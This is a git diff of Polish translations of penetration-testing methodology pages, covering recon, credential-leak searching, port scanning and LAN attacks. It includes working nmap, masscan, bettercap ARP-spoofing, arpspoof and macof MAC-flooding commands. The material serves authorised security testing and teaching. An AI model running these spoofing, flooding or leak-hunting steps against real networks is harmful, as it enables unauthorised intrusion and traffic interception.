**Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** WWW za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/#http-port-discovery).\
Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekaz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
**Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** WWW za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/index.html#http-port-discovery).\
Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) oraz [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy, że przekażesz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Zrzuty ekranu**
Teraz, gdy odkryłeś **wszystkie serwery internetowe** obecne w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **subdomen**) prawdopodobnie **nie wiesz, od czego zacząć**. Zróbmy to prosto i zacznijmy od robienia zrzutów ekranu wszystkich z nich. Już po **rzuceniu okiem** na **stronę główną** możesz znaleźć **dziwne** punkty końcowe, które są bardziej **podatne** na bycie **wrażliwymi**.
Teraz, gdy odkryłeś **wszystkie serwery internetowe** znajdujące się w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **subdomen**) prawdopodobnie **nie wiesz, od czego zacząć**. Zróbmy to prosto i zacznijmy od robienia zrzutów ekranu wszystkich z nich. Już po **rzuceniu okiem** na **stronę główną** możesz znaleźć **dziwne** punkty końcowe, które są bardziej **podatne** na bycie **wrażliwymi**.
Aby zrealizować zaproponowany pomysł, możesz użyć [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) lub [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -510,7 +510,7 @@ Będziesz również potrzebować list słów **powszechnie używanych w bucketac
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Następnie, z tymi słowami powinieneś wygenerować **permutacje** (sprawdź [**Druga runda DNS Brute-Force**](./#second-dns-bruteforce-round) po więcej informacji).
Następnie, z tymi słowami powinieneś wygenerować **permutacje** (sprawdź [**Drugą rundę DNS Brute-Force**](#second-dns-bruteforce-round) po więcej informacji).
Z uzyskanymi listami słów możesz użyć narzędzi takich jak [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@ -522,7 +522,7 @@ Jeśli znajdziesz takie rzeczy jak **otwarte buckety lub wystawione funkcje chmu
## E-maile
Z **domenami** i **subdomenami** w zakresie masz zasadniczo wszystko, co **potrzebujesz, aby zacząć szukać e-maili**. Oto **API** i **narzędzia**, które najlepiej działały dla mnie w znajdowaniu e-maili firmy:
Mając **domeny** i **subdomeny** w zakresie, zasadniczo masz wszystko, co **potrzebujesz, aby zacząć szukać e-maili**. Oto **API** i **narzędzia**, które najlepiej działały dla mnie w znajdowaniu e-maili firmy:
- [**theHarvester**](https://github.com/laramies/theHarvester) - z API
- API [**https://hunter.io/**](https://hunter.io/) (wersja darmowa)
@ -535,7 +535,7 @@ E-maile będą przydatne później do **brute-force'owania logowania do stron in
## Wycieki danych uwierzytelniających
Z **domenami**, **subdomenami** i **e-mailami** możesz zacząć szukać danych uwierzytelniających, które wyciekły w przeszłości i należą do tych e-maili:
Mając **domeny**, **subdomeny** i **e-maile**, możesz zacząć szukać danych uwierzytelniających, które wyciekły w przeszłości i należą do tych e-maili:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
@ -550,8 +550,8 @@ Wyciek danych uwierzytelniających jest związany z hackami firm, w których **w
### Wyciek z GitHub
Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na GitHubie.\
Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** danej **organizacji** i jej **deweloperów** oraz automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** firmy lub użytkowników pracujących dla tej firmy na GitHubie.\
Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej **deweloperów** oraz automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
**Leakos** może być również używane do uruchamiania **gitleaks** przeciwko całemu **tekstowi** dostarczonemu **URL-om przekazanym** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
@ -565,14 +565,14 @@ github-leaked-secrets.md
### Wyciek Paste
Czasami atakujący lub po prostu pracownicy **publikują treści firmy na stronie paste**. Może to zawierać lub nie zawierać **wrażliwych informacji**, ale bardzo interesujące jest ich wyszukiwanie.\
Czasami napastnicy lub po prostu pracownicy **publikują treści firmy na stronie paste**. Może to zawierać lub nie zawierać **wrażliwych informacji**, ale bardzo interesujące jest ich wyszukiwanie.\
Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby przeszukać więcej niż 80 stron paste jednocześnie.
### Dorki Google
Stare, ale złote dorki Google są zawsze przydatne do znajdowania **ujawnionych informacji, które nie powinny tam być**. Jedynym problemem jest to, że [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie możesz uruchomić ręcznie. Możesz więc wziąć swoje ulubione 10 lub możesz użyć **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do ich uruchomienia**.
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie zakończą, ponieważ Google zablokuje cię bardzo, bardzo szybko._
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie skończą, ponieważ Google zablokuje cię bardzo, bardzo szybko._
### **Szukając luk**
@ -580,7 +580,7 @@ Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające lub tokeny API, t
## Publiczne luki w kodzie
Jeśli odkryjesz, że firma ma **kod open-source**, możesz go **analizować** i szukać **luk** w nim.
Jeśli odkryjesz, że firma ma **otwarty kod źródłowy**, możesz go **analizować** i szukać **luk** w nim.
**W zależności od języka** istnieją różne **narzędzia**, które możesz użyć:
@ -588,7 +588,7 @@ Jeśli odkryjesz, że firma ma **kod open-source**, możesz go **analizować** i
../../network-services-pentesting/pentesting-web/code-review-tools.md
{{#endref}}
Istnieją również darmowe usługi, które pozwalają ci **skanować publiczne repozytoria**, takie jak:
Istnieją również darmowe usługi, które pozwalają na **skanowanie publicznych repozytoriów**, takie jak:
- [**Snyk**](https://app.snyk.io/)
@ -596,9 +596,9 @@ Istnieją również darmowe usługi, które pozwalają ci **skanować publiczne
**Większość luk** znalezionych przez łowców błędów znajduje się w **aplikacjach internetowych**, więc w tym momencie chciałbym porozmawiać o **metodologii testowania aplikacji internetowych**, a możesz [**znaleźć te informacje tutaj**](../../network-services-pentesting/pentesting-web/).
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania aplikacji webowych open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą ci bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać pewne początkowe informacje o sieci.**
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania aplikacji webowych open source**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą ci bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać pewne początkowe informacje o sieci.**
## Rekapitulacja
## Reasumpcja
> Gratulacje! Na tym etapie już wykonałeś **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później).
@ -607,14 +607,14 @@ Więc już:
1. Znalazłeś wszystkie **firmy** w zakresie
2. Znalazłeś wszystkie **zasoby** należące do firm (i przeprowadziłeś skanowanie luk, jeśli było w zakresie)
3. Znalazłeś wszystkie **domeny** należące do firm
4. Znalazłeś wszystkie **subdomeny** domen (czy jest jakieś przejęcie subdomeny?)
4. Znalazłeś wszystkie **subdomeny** domen (czy jakieś przejęcie subdomeny?)
5. Znalazłeś wszystkie **adresy IP** (z i **nie z CDN**) w zakresie.
6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy jest coś dziwnego, co warto dokładniej zbadać?)
6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy coś dziwnego wartego głębszego spojrzenia?)
7. Znalazłeś wszystkie **potencjalne publiczne zasoby chmurowe** należące do firmy.
8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki sekretów**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
9. **Pentesting wszystkich stron, które znalazłeś**
## **Pełne narzędzia do automatycznego rekonesansu**
## **Pełne automatyczne narzędzia rekonesansowe**
Istnieje kilka narzędzi, które wykonają część zaproponowanych działań przeciwko danemu zakresowi.

View File

@ -11,11 +11,11 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
### 0- Ataki fizyczne
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) i innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Odkrywanie hostów w sieci](pentesting-network/#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
### 1 - [Odkrywanie hostów w sieci](pentesting-network/index.html#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
**W zależności** od tego, czy **test**, który przeprowadzasz, jest **wewnętrzny czy zewnętrzny**, możesz być zainteresowany znalezieniem **hostów w sieci firmy** (test wewnętrzny) lub **znalezieniem zasobów firmy w internecie** (test zewnętrzny).
**W zależności** od tego, czy **test**, który przeprowadzasz, jest **testem wewnętrznym czy zewnętrznym**, możesz być zainteresowany znalezieniem **hostów w sieci firmy** (test wewnętrzny) lub **znalezieniem zasobów firmy w Internecie** (test zewnętrzny).
> [!NOTE]
> Zauważ, że jeśli przeprowadzasz test zewnętrzny, po uzyskaniu dostępu do wewnętrznej sieci firmy powinieneś ponownie rozpocząć ten przewodnik.
@ -23,11 +23,11 @@ Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powiniene
### **2-** [**Zabawa z siecią**](pentesting-network/) **(Wewnętrzny)**
**Ta sekcja dotyczy tylko testów wewnętrznych.**\
Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z sieci** lub **podsłuchiwać** jakieś **dane**, aby **pasywnie/aktywnie (MitM)** dowiedzieć się, co możesz znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/#sniffing).
Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z sieci** lub **podsłuchiwać** jakieś **dane**, aby pasywnie/aktywnie (MitM) dowiedzieć się, co możesz znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/index.html#sniffing).
### 3- [Skanowanie portów - Odkrywanie usług](pentesting-network/#scanning-hosts)
### 3- [Skanowanie portów - Odkrywanie usług](pentesting-network/index.html#scanning-hosts)
Pierwszą rzeczą do zrobienia, gdy **szukasz luk w hoście**, jest poznanie, które **usługi są uruchomione** na jakich portach. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
Pierwszą rzeczą do zrobienia, gdy **szukasz luk w hoście**, jest poznanie, które **usługi są uruchomione** na jakich portach. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/index.html#scanning-hosts).
### **4-** [Szukając exploitów wersji usług](../generic-hacking/search-exploits.md)
@ -35,11 +35,11 @@ Gdy już wiesz, które usługi są uruchomione, a może ich wersje, musisz **szu
### **5-** Usługi Pentestingu
Jeśli nie ma żadnego fajnego exploita dla żadnej działającej usługi, powinieneś poszukać **typowych błędów konfiguracyjnych w każdej działającej usłudze.**
Jeśli nie ma żadnego fajnego exploita dla żadnej uruchomionej usługi, powinieneś poszukać **częstych błędów konfiguracyjnych w każdej uruchomionej usłudze.**
**W tej książce znajdziesz przewodnik po pentestowaniu najczęściej występujących usług** (i innych, które nie są tak powszechne)**. Proszę, poszukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
**W tej książce znajdziesz przewodnik po pentestingu najczęstszych usług** (i innych, które nie są tak powszechne). Proszę, poszukaj w lewym indeksie sekcji _**PENTESTING**_ (usługi są uporządkowane według ich domyślnych portów).
**Chcę szczególnie wspomnieć o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest to najbardziej rozbudowana część).**\
**Chcę szczególnie wspomnieć o części** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej rozbudowana).**\
Również mały przewodnik na temat [**znajdowania znanych luk w oprogramowaniu**](../generic-hacking/search-exploits.md) można znaleźć tutaj.
**Jeśli twoja usługa nie znajduje się w indeksie, poszukaj w Google** innych samouczków i **daj mi znać, jeśli chcesz, żebym to dodał.** Jeśli **nie możesz nic znaleźć** w Google, przeprowadź **własny ślepy pentesting**, możesz zacząć od **połączenia się z usługą, fuzzowania jej i czytania odpowiedzi** (jeśli jakieś są).
@ -64,7 +64,7 @@ Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać progr
### 8- Wewnątrz
Jeśli masz problemy z powłoką, możesz tutaj znaleźć małą **kompilację najbardziej przydatnych poleceń** dla pentesterów:
Jeśli masz problemy z powłoką, możesz tutaj znaleźć małą **kompilację najprzydatniejszych poleceń** dla pentesterów:
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -72,13 +72,13 @@ Jeśli masz problemy z powłoką, możesz tutaj znaleźć małą **kompilację n
### **9 -** [**Ekstrakcja**](../generic-hacking/exfiltration.md)
Prawdopodobnie będziesz musiał **wyciągnąć jakieś dane z ofiary** lub nawet **wprowadzić coś** (jak skrypty do eskalacji uprawnień). **Tutaj masz** [**post o typowych narzędziach, które możesz użyć w tych celach**](../generic-hacking/exfiltration.md)**.**
Prawdopodobnie będziesz musiał **wyodrębnić jakieś dane z ofiary** lub nawet **wprowadzić coś** (jak skrypty do eskalacji uprawnień). **Tutaj masz** [**post o wspólnych narzędziach, które możesz użyć do tych celów**](../generic-hacking/exfiltration.md)**.**
### **10- Eskalacja uprawnień**
#### **10.1- Lokalne Privesc**
Jeśli nie jesteś **rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
Jeśli **nie jesteś rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Windows**:
@ -103,7 +103,7 @@ Znajdź tutaj różne sposoby [**zrzucania haseł w Windowsie**](https://github.
#### 11.2 - Utrzymywanie
**Użyj 2 lub 3 różnych typów mechanizmów utrzymywania, aby nie musieć ponownie eksploatować systemu.**\
**Tutaj znajdziesz kilka** [**sztuczek dotyczących utrzymywania w Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Tutaj znajdziesz kilka** [**sztuczek dotyczących utrzymywania w Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
TODO: Uzupełnij post dotyczący utrzymywania w Windowsie i Linuxie
@ -111,7 +111,7 @@ TODO: Uzupełnij post dotyczący utrzymywania w Windowsie i Linuxie
Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, w których jest połączona twoja ofiara.\
W takim przypadku tunelowanie może być konieczne. Tutaj możesz znaleźć [**post mówiący o tunelowaniu**](../generic-hacking/tunneling-and-port-forwarding.md).\
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/). Tam znajdziesz fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/). Znajdziesz tam fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\
Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być bardzo przydatna do pivotowania w środowiskach Windows..
### WIĘCEJ

View File

@ -21,13 +21,13 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### Odkrywanie portów TCP
Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyne, co możesz zrobić, aby sprawdzić, czy host jest aktywny, to **spróbować znaleźć otwarte porty**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, zajmie to zbyt dużo czasu.\
Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyną rzeczą, którą możesz zrobić, aby sprawdzić, czy host jest aktywny, jest **próba znalezienia otwartych portów**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, ponieważ zajmie to zbyt dużo czasu.\
W takim razie potrzebujesz **szybkiego skanera portów** ([masscan](https://github.com/robertdavidgraham/masscan)) i listy **najczęściej używanych portów:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
Możesz również wykonać ten krok za pomocą `nmap`, ale jest to wolniejsze i `nmap` ma problemy z identyfikowaniem aktywnych hostów.
Możesz również wykonać ten krok za pomocą `nmap`, ale jest to wolniejsze i `nmap` ma problemy z identyfikacją aktywnych hostów.
### Odkrywanie portów HTTP
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Odkrywanie portów UDP
Możesz również spróbować sprawdzić, czy niektóre **porty UDP są otwarte**, aby zdecydować, czy powinieneś **zwrócić większą uwagę** na **hosta.** Ponieważ usługi UDP zazwyczaj **nie odpowiadają** na **żadne dane** w odpowiedzi na standardowy pusty pakiet UDP, trudno jest stwierdzić, czy port jest filtrowany, czy otwarty. Najłatwiejszym sposobem na podjęcie decyzji jest wysłanie pakietu związanego z działającą usługą, a ponieważ nie wiesz, która usługa działa, powinieneś spróbować najbardziej prawdopodobnych na podstawie numeru portu:
Możesz również spróbować sprawdzić, czy niektóre **porty UDP są otwarte**, aby zdecydować, czy powinieneś **zwrócić większą uwagę** na **hosta.** Ponieważ usługi UDP zazwyczaj **nie odpowiadają** **żadnymi danymi** na standardowy pusty pakiet probe UDP, trudno jest stwierdzić, czy port jest filtrowany, czy otwarty. Najłatwiejszym sposobem na podjęcie decyzji jest wysłanie pakietu związanego z działającą usługą, a ponieważ nie wiesz, która usługa działa, powinieneś spróbować najbardziej prawdopodobnych na podstawie numeru portu:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -60,7 +60,7 @@ Tutaj znajdziesz ładny przewodnik po wszystkich znanych atakach Wifi w momencie
## Odkrywanie hostów od wewnątrz
Jeśli jesteś wewnątrz sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest **odkrycie innych hostów**. W zależności od **tego, ile hałasu** możesz/chcesz zrobić, można wykonać różne działania:
Jeśli jesteś w sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest **odkrycie innych hostów**. W zależności od **tego, ile hałasu** możesz/chcesz zrobić, można wykonać różne działania:
### Pasywne
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Aktywne
Zauważ, że techniki omówione w [_**Odkrywaniu hostów z zewnątrz**_](./#discovering-hosts-from-the-outside) (_Odkrywanie portów TCP/HTTP/UDP/SCTP_) mogą być również **zastosowane tutaj**.\
Zauważ, że techniki omówione w [_**Odkrywaniu hostów z zewnątrz**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) mogą być również **zastosowane tutaj**.\
Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić **więcej rzeczy**:
```bash
#ARP discovery
@ -98,7 +98,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
```
### Active ICMP
Zauważ, że techniki omówione w _Odkrywaniu hostów z zewnątrz_ ([_**ICMP**_](./#icmp)) mogą być również **zastosowane tutaj**.\
Zauważ, że techniki omówione w _Odkrywaniu hostów z zewnątrz_ ([_**ICMP**_](#icmp)) mogą być również **zastosowane tutaj**.\
Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić **więcej rzeczy**:
- Jeśli **pingujesz** **adres rozgłoszeniowy podsieci**, ping powinien dotrzeć do **każdego hosta** i mogą oni **odpowiedzieć** **tobie**: `ping -b 10.10.5.255`
@ -107,24 +107,24 @@ Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić *
### **Wake On Lan**
Wake On Lan jest używane do **włączania** komputerów za pomocą **wiadomości sieciowej**. Magiczny pakiet używany do włączenia komputera to tylko pakiet, w którym podany jest **MAC Dst**, a następnie jest on **powtarzany 16 razy** w tym samym pakiecie.\
Wake On Lan jest używane do **włączania** komputerów za pomocą **wiadomości sieciowej**. Magiczny pakiet używany do włączenia komputera to tylko pakiet, w którym podany jest **MAC Dst**, a następnie jest **powtarzany 16 razy** w tym samym pakiecie.\
Takie pakiety są zazwyczaj wysyłane w **ethernet 0x0842** lub w **pakiecie UDP na port 9**.\
Jeśli **żaden \[MAC]** nie jest podany, pakiet jest wysyłany do **rozgłoszeniowego ethernet** (a rozgłoszeniowy MAC będzie tym, który jest powtarzany).
Jeśli **żaden \[MAC]** nie jest podany, pakiet jest wysyłany do **rozgłoszenia ethernet** (a rozgłoszeniowy MAC będzie tym, który jest powtarzany).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## Skanowanie hostów
## Skanning hostów
Gdy odkryjesz wszystkie IP (zewnętrzne lub wewnętrzne), które chcesz dokładnie zeskanować, można wykonać różne działania.
### TCP
- **Otwarte** port: _SYN --> SYN/ACK --> RST_
- **Zamknięte** port: _SYN --> RST/ACK_
- **Filtrowany** port: _SYN --> \[BRAK ODPOWIEDZI]_
- **Filtrowany** port: _SYN --> komunikat ICMP_
- **Otwarte** porty: _SYN --> SYN/ACK --> RST_
- **Zamknięte** porty: _SYN --> RST/ACK_
- **Filtrowane** porty: _SYN --> \[BRAK ODPOWIEDZI]_
- **Filtrowane** porty: _SYN --> komunikat ICMP_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP Scan
**SCTP (Stream Control Transmission Protocol)** jest zaprojektowany do użycia obok **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Jego głównym celem jest ułatwienie transportu danych telekomunikacyjnych przez sieci IP, odzwierciedlając wiele funkcji niezawodnościowych występujących w **Signaling System 7 (SS7)**. **SCTP** jest kluczowym składnikiem rodziny protokołów **SIGTRAN**, która ma na celu transport sygnałów SS7 przez sieci IP.
**SCTP (Stream Control Transmission Protocol)** jest zaprojektowany do użycia obok **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Jego głównym celem jest ułatwienie transportu danych telekomunikacyjnych przez sieci IP, odzwierciedlając wiele funkcji niezawodności występujących w **Signaling System 7 (SS7)**. **SCTP** jest kluczowym składnikiem rodziny protokołów **SIGTRAN**, która ma na celu transport sygnałów SS7 przez sieci IP.
Wsparcie dla **SCTP** jest zapewniane przez różne systemy operacyjne, takie jak **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** i **VxWorks**, co wskazuje na jego szeroką akceptację i użyteczność w dziedzinie telekomunikacji i sieci.
@ -194,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing pozwala na poznanie szczegółów zakresów IP, rozmiarów podsieci, adresów MAC i nazw hostów poprzez przeglądanie przechwyconych ramek i pakietów. Jeśli sieć jest źle skonfigurowana lub fabric przełączania jest obciążona, atakujący mogą przechwycić wrażliwe materiały za pomocą pasywnego sniffingu sieciowego.
Jeśli sieć Ethernet z przełącznikami jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiały przeznaczone dla twojego adresu MAC.
Jeśli przełączona sieć Ethernet jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiały przeznaczone dla twojego adresu MAC.
### TCPDump
```bash
@ -220,15 +220,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
Oczywiście.
### Capturing credentials
### Przechwytywanie poświadczeń
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) do parsowania poświadczeń z pliku pcap lub z aktywnego interfejsu.
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), aby analizować poświadczenia z pliku pcap lub z aktywnego interfejsu.
## LAN attacks
## Ataki w LAN
### ARP spoofing
### Spoofing ARP
ARP Spoofing polega na wysyłaniu bezpłatnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z IP, które zostało sfałszowane.
Spoofing ARP polega na wysyłaniu niepotrzebnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z IP, które zostało sfałszowane.
#### **Bettercap**
```bash
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - CAM overflow
Przepełnienie tabeli CAM przełącznika, wysyłając wiele pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak hub (broadcastując cały ruch).
Przepełnienie tabeli CAM przełącznika poprzez wysyłanie dużej liczby pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak hub (broadcastując cały ruch).
```bash
macof -i <interface>
```
@ -256,7 +256,7 @@ W nowoczesnych przełącznikach ta podatność została naprawiona.
#### Dynamic Trunking
**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkingu, pozwalając przełącznikom na automatyczny wybór portów do trybu trunk (Trunk) lub trybu nie-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie to konieczne, oraz zapewnienia odpowiedniej dokumentacji.
**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkingu, pozwalając przełącznikom na automatyczny wybór portów w trybie trunk (Trunk) lub trybie nie-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie to konieczne, oraz zapewnienia odpowiedniej dokumentacji.
